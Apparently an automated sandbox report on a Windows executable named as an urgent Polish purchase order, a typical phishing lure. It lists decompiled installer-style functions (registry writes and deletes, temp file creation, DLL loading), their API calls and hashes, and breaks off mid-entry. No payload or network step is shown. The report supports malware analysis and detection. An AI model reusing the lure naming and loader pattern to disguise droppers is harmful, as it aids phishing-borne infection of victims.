                                                                                              • Opcode ID: 829153be18cd8cbb103d54c4c3cf61b016bad4870cd0a662c9aadeacd2aa24dd
                                                                                              • Instruction ID: 4ab2a5a1bcd3fb7fa9d72e81aa521510b391fe67da8672e6f00875cd24a8b3cf
                                                                                              • Opcode Fuzzy Hash: 829153be18cd8cbb103d54c4c3cf61b016bad4870cd0a662c9aadeacd2aa24dd
                                                                                              • Instruction Fuzzy Hash: 7D518F729022199BDF10DF65DA08A9F7BB8AF40795F14413BF800B72C4C7789E51DBAA
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 711 402364-4023aa call 402b2f call 402a3a * 2 RegCreateKeyExA 718 4023b0-4023b8 711->718 719 4028cf-4028de 711->719 720 4023c8-4023cb 718->720 721 4023ba-4023c7 call 402a3a lstrlenA 718->721 724 4023db-4023de 720->724 725 4023cd-4023da call 402a1d 720->725 721->720 729 4023e0-4023ea call 402e9f 724->729 730 4023ef-402403 RegSetValueExA 724->730 725->724 729->730 733 402405 730->733 734 402408-4024de RegCloseKey 730->734 733->734 734->719 736 4026a6-4026ad 734->736 736->719
                                                                                              C-Code - Quality: 85%
                                                                                              			E00402364(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				long _t22;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402B2F(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				 *(_t37 - 0x34) =  *(_t37 - 0x14);
				 *(_t37 - 0x38) = E00402A3A(2);
				_t18 = E00402A3A(0x11);
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x4237b0 | 0x00000002, _t27, _t37 + 8, _t27); // executed
				if(_t19 == 0) {
					if(_t35 == 1) {
						E00402A3A(0x23);
						_t19 = lstrlenA(0x409be8) + 1;
					}
					if(_t35 == 4) {
						_t24 = E00402A1D(3);
						 *0x409be8 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E9F( *((intOrPtr*)(_t37 - 0x1c)), _t27, 0x409be8, 0xc00);
					}
					_t22 = RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x38), _t27,  *(_t37 - 0x34), 0x409be8, _t19); // executed
					if(_t22 == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423788 =  *0x423788 +  *(_t37 - 4);
				return 0;
			}











                                                                                              0x00402365
                                                                                              0x0040236a
                                                                                              0x00402374
                                                                                              0x0040237e
                                                                                              0x00402381
                                                                                              0x0040239b
                                                                                              0x004023a2
                                                                                              0x004023aa
                                                                                              0x004023b8
                                                                                              0x004023bc
                                                                                              0x004023c7
                                                                                              0x004023c7
                                                                                              0x004023cb
                                                                                              0x004023cf
                                                                                              0x004023d5
                                                                                              0x004023da
                                                                                              0x004023da
                                                                                              0x004023de
                                                                                              0x004023ea
                                                                                              0x004023ea
                                                                                              0x004023fb
                                                                                              0x00402403
                                                                                              0x00402405
                                                                                              0x00402405
                                                                                              0x00402408
                                                                                              0x004024d8
                                                                                              0x004024d8
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
                                                                                              • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
                                                                                              • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
                                                                                              • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseCreateValuelstrlen
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp
                                                                                              • API String ID: 1356686001-1381924930
                                                                                              • Opcode ID: 1dca66d2d1093a5130de9b07e79a19b0c80f7b3ba9a11136c7381f0e18dd9290
                                                                                              • Instruction ID: 26fcae0a7b2a502e926faea7c6e927eea7b3aae3134fdb689c9e3a18d41500d2
                                                                                              • Opcode Fuzzy Hash: 1dca66d2d1093a5130de9b07e79a19b0c80f7b3ba9a11136c7381f0e18dd9290
                                                                                              • Instruction Fuzzy Hash: 3E1145B1E00108BFEB10AFA5EE89EAF767DEB54358F10403AF505B71D1D6B85D419B28
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040599B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 737 40599b-4059a5 738 4059a6-4059d1 GetTickCount GetTempFileNameA 737->738 739 4059e0-4059e2 738->739 740 4059d3-4059d5 738->740 742 4059da-4059dd 739->742 740->738 741 4059d7 740->741 741->742
                                                                                              C-Code - Quality: 100%
                                                                                              			E0040599B(char _a4, intOrPtr _a6, CHAR* _a8) {
				char _t11;
				signed int _t12;
				int _t15;
				signed int _t17;
				void* _t20;
				CHAR* _t21;

				_t21 = _a4;
				_t20 = 0x64;
				while(1) {
					_t11 =  *0x4093ac; // 0x61736e
					_t20 = _t20 - 1;
					_a4 = _t11;
					_t12 = GetTickCount();
					_t17 = 0x1a;
					_a6 = _a6 + _t12 % _t17;
					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
					if(_t15 != 0) {
						break;
					}
					if(_t20 != 0) {
						continue;
					}
					 *_t21 =  *_t21 & 0x00000000;
					return _t15;
				}
				return _t21;
			}









                                                                                              0x0040599f
                                                                                              0x004059a5
                                                                                              0x004059a6
                                                                                              0x004059a6
                                                                                              0x004059ab
                                                                                              0x004059ac
                                                                                              0x004059af
                                                                                              0x004059b9
                                                                                              0x004059c6
                                                                                              0x004059c9
                                                                                              0x004059d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004059d5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004059d7
                                                                                              0x00000000
                                                                                              0x004059d7
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetTickCount.KERNEL32 ref: 004059AF
                                                                                              • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059C9
                                                                                              Strings
                                                                                              • C:\Users\user\AppData\Local\Temp\, xrefs: 0040599E
                                                                                              • "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", xrefs: 0040599B
                                                                                              • nsa, xrefs: 004059A6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CountFileNameTempTick
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                                                                              • API String ID: 1716503409-4064849226
                                                                                              • Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
                                                                                              • Instruction ID: 3a3981258a6ccd3f3c7180c2fb01dffc681fdc90015df490a153c8b64b3610b8
                                                                                              • Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
                                                                                              • Instruction Fuzzy Hash: 6DF08276708214ABEB108F55EC04B9B7B9CDF91760F10C03BFA48DA190D6B599548B99
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 743 402a7a-402aa3 RegOpenKeyExA 744 402aa5-402ab0 743->744 745 402b0e-402b12 743->745 746 402acb-402adb RegEnumKeyA 744->746 747 402ab2-402ab5 746->747 748 402add-402aef RegCloseKey call 406092 746->748 749 402b02-402b05 RegCloseKey 747->749 750 402ab7-402ac9 call 402a7a 747->750 756 402af1-402b00 748->756 757 402b15-402b1b 748->757 754 402b0b-402b0d 749->754 750->746 750->748 754->745 756->745 757->754 758 402b1d-402b2b RegDeleteKeyA 757->758 758->754 759 402b2d 758->759 759->745
                                                                                              C-Code - Quality: 84%
                                                                                              			E00402A7A(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x4237b0 | 0x00000008,  &_v8); // executed
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A7A(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00406092(3);
					if(_t27 == 0) {
						if( *0x4237b0 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x4237b0, 0);
				}
				return _t18;
			}








                                                                                              0x00402a9b
                                                                                              0x00402aa3
                                                                                              0x00402acb
                                                                                              0x00402ab5
                                                                                              0x00402b05
                                                                                              0x00402b0b
                                                                                              0x00000000
                                                                                              0x00402b0d
                                                                                              0x00402ac9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402ac9
                                                                                              0x00402ae0
                                                                                              0x00402ae8
                                                                                              0x00402aef
                                                                                              0x00402b1b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402b23
                                                                                              0x00402b2b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402b2b
                                                                                              0x00000000
                                                                                              0x00402afe
                                                                                              0x00402b12

                                                                                              APIs
                                                                                              • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402A9B
                                                                                              • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00402AE0
                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00402B05
                                                                                              • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Close$DeleteEnumOpen
                                                                                              • String ID:
                                                                                              • API String ID: 1912718029-0
                                                                                              • Opcode ID: ae09a9da48d779165f4d820b178e7b78ee37b087aa05fe1e09047ef6d5127422
                                                                                              • Instruction ID: feb6aed171ad8b85e204e5b4e2feb4536d295dbd67c3687bd8867431d3a466b7
                                                                                              • Opcode Fuzzy Hash: ae09a9da48d779165f4d820b178e7b78ee37b087aa05fe1e09047ef6d5127422
                                                                                              • Instruction Fuzzy Hash: 53117F71A00108FFDF229F90DE89EAE3B7DEB54349B104076FA01B10A0D7749E51DB69
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 94%
                                                                                              			E100016BD(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x1000405c = _a8;
				 *0x10004060 = _a16;
				 *0x10004064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E10001556);
				_push("true"); // executed
				_t34 = E10001A5D(); // executed
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E100021B0(_t50);
					}
					E100021FA(_t65, _t50);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100023DA(_t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x818; // 0x818
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E10001559(_t50);
								_t15 = _t50 + 0x818; // 0x818
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x820)) = _t38;
								 *_t70 = 3;
								E100023DA(_t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100023DA(_t50);
							_t34 = GlobalFree(E10001266(E10001559(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E100023A0(_t50);
							if(( *(_t50 + 0x810) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x808);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x810) & 0x00000020) != 0) {
								_t34 = E100014E2( *0x10004058);
							}
						}
						if(( *(_t50 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t50);
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E10002AA3(_t50);
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E100027E8(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E10002589(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

















                                                                                              0x100016bd
                                                                                              0x100016bd
                                                                                              0x100016bd
                                                                                              0x100016c7
                                                                                              0x100016cf
                                                                                              0x100016dc
                                                                                              0x100016ea
                                                                                              0x100016ed
                                                                                              0x100016ef
                                                                                              0x100016f4
                                                                                              0x100016f9
                                                                                              0x1000180c
                                                                                              0x1000180c
                                                                                              0x100016ff
                                                                                              0x10001703
                                                                                              0x10001706
                                                                                              0x1000170b
                                                                                              0x1000170d
                                                                                              0x10001713
                                                                                              0x10001719
                                                                                              0x10001749
                                                                                              0x10001750
                                                                                              0x10001774
                                                                                              0x100017b3
                                                                                              0x10001776
                                                                                              0x10001776
                                                                                              0x10001777
                                                                                              0x1000177a
                                                                                              0x10001780
                                                                                              0x10001784
                                                                                              0x10001787
                                                                                              0x1000178c
                                                                                              0x1000178c
                                                                                              0x10001793
                                                                                              0x10001799
                                                                                              0x1000179f
                                                                                              0x100017ab
                                                                                              0x100017ac
                                                                                              0x100017af
                                                                                              0x10001752
                                                                                              0x10001753
                                                                                              0x10001768
                                                                                              0x10001768
                                                                                              0x100017bd
                                                                                              0x100017c0
                                                                                              0x100017cd
                                                                                              0x100017d4
                                                                                              0x100017dc
                                                                                              0x100017df
                                                                                              0x100017df
                                                                                              0x100017dc
                                                                                              0x100017ec
                                                                                              0x100017f4
                                                                                              0x100017f9
                                                                                              0x100017ec
                                                                                              0x10001801
                                                                                              0x00000000
                                                                                              0x10001803
                                                                                              0x00000000
                                                                                              0x10001804
                                                                                              0x10001801
                                                                                              0x1000171d
                                                                                              0x10001720
                                                                                              0x1000173e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001741
                                                                                              0x10001746
                                                                                              0x10001746
                                                                                              0x10001748
                                                                                              0x00000000
                                                                                              0x10001748
                                                                                              0x10001722
                                                                                              0x10001723
                                                                                              0x1000172b
                                                                                              0x1000172c
                                                                                              0x00000000
                                                                                              0x1000172c
                                                                                              0x10001725
                                                                                              0x10001726
                                                                                              0x10001734
                                                                                              0x00000000
                                                                                              0x10001734
                                                                                              0x10001729
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001729

                                                                                              APIs
                                                                                                • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                                                                • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                                                                • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                                                              • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                                                                • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                                                                • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                                                                • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,10004010,00000000,10001695,00000000), ref: 10001572
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Free$Alloc$Librarylstrcpy
                                                                                              • String ID:
                                                                                              • API String ID: 1791698881-3916222277
                                                                                              • Opcode ID: 245ce87e028eba73b171f8f7f302eff0cc3bc38b2883f49ef8f533c6b67cfd43
                                                                                              • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                                                              • Opcode Fuzzy Hash: 245ce87e028eba73b171f8f7f302eff0cc3bc38b2883f49ef8f533c6b67cfd43
                                                                                              • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 60%
                                                                                              			E00401F90(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x4237b8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423788 =  *0x423788 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402A3A(0xfffffff0);
				 *(_t34 + 8) = E00402A3A("true");
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404F12(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x424000, 0x40a7ec, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E00403619(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}










                                                                                              0x00401f90
                                                                                              0x00401f90
                                                                                              0x00401f95
                                                                                              0x00401f9c
                                                                                              0x00402057
                                                                                              0x004021c4
                                                                                              0x004021c4
                                                                                              0x004028cf
                                                                                              0x004028d2
                                                                                              0x004028de
                                                                                              0x004028de
                                                                                              0x00401fab
                                                                                              0x00401fb5
                                                                                              0x00401fb8
                                                                                              0x00401fc7
                                                                                              0x00401fcb
                                                                                              0x00401fd1
                                                                                              0x00401fd5
                                                                                              0x00402050
                                                                                              0x00000000
                                                                                              0x00402050
                                                                                              0x00401fd7
                                                                                              0x00401fe0
                                                                                              0x00401fe4
                                                                                              0x00402028
                                                                                              0x00401fe6
                                                                                              0x00401fe9
                                                                                              0x00401fec
                                                                                              0x0040201c
                                                                                              0x00401fee
                                                                                              0x00401ff1
                                                                                              0x00401ffa
                                                                                              0x00401ffc
                                                                                              0x00401ffc
                                                                                              0x00401ffa
                                                                                              0x00401fec
                                                                                              0x00402030
                                                                                              0x00402045
                                                                                              0x00402045
                                                                                              0x00000000
                                                                                              0x00402030
                                                                                              0x00401fbb
                                                                                              0x00401fc1
                                                                                              0x00401fc5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetModuleHandleA.KERNELBASE(00000000,?,000000F0), ref: 00401FBB
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4B
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5B
                                                                                                • Part of subcall function 00404F12: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00402FCF,00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000), ref: 00404F6E
                                                                                                • Part of subcall function 00404F12: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll), ref: 00404F80
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FA6
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC0
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FCE
                                                                                              • LoadLibraryExA.KERNELBASE(00000000,?,00000008,?,000000F0), ref: 00401FCB
                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
                                                                                              • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,?,000000F0), ref: 00402045
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                                                              • String ID:
                                                                                              • API String ID: 2987980305-0
                                                                                              • Opcode ID: ed5e7c77882740c65d017829f63facd0cb9ae9b8b33cb6e8c6aba375fa59f590
                                                                                              • Instruction ID: 033e4e5f5e4c037d50d2464c5542d6b5672e4837e9f8cb01fb8d89ff16108e1c
                                                                                              • Opcode Fuzzy Hash: ed5e7c77882740c65d017829f63facd0cb9ae9b8b33cb6e8c6aba375fa59f590
